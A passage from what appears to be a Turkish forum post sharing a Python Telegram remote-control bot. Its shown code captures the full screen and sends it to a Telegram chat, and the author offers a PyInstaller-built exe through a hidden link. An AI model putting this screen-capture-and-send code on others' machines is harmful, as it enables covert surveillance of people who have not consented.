    except Exception as e:
        bot.reply_to(message, f"⚠️ Sistem bilgileri alınırken hata oluştu: {e}")

@bot.message_handler(commands=['screenshot'])
def screenshot_command(message):
    if not (is_authorized(message) and is_active_user(message)):
        return
    try:
        path = os.path.join(tempfile.gettempdir(), f"screenshot_{datetime.now().strftime('%H%M%S')}.png")
        with mss.mss() as sct:
            sct.shot(output=path)
        with open(path, 'rb') as img:
            bot.send_photo(message.chat.id, img)
        os.remove(path)
    except Exception as e:
        bot.reply_to(message, f"⚠️ Görüntü alınamadı: {e}")

print("🤖 Bot çalışıyor...")
bot.infinity_polling()

isteyene arayüzlü hali
=> indirmek için

*** Gizli metin: alıntı yapılamaz. ***


ekran görüntüsü

q0eqwsl.png


-zipten ayıklarken fazla dosa olmasının nedeni pyinstaller ile exe cevirıdığ
m icindir bilginize


Anlatmak istediklerim bukadar bi eleştiriniz veya dikkate almam gerrkn bisey varsa yaziniz lütfen
bakalım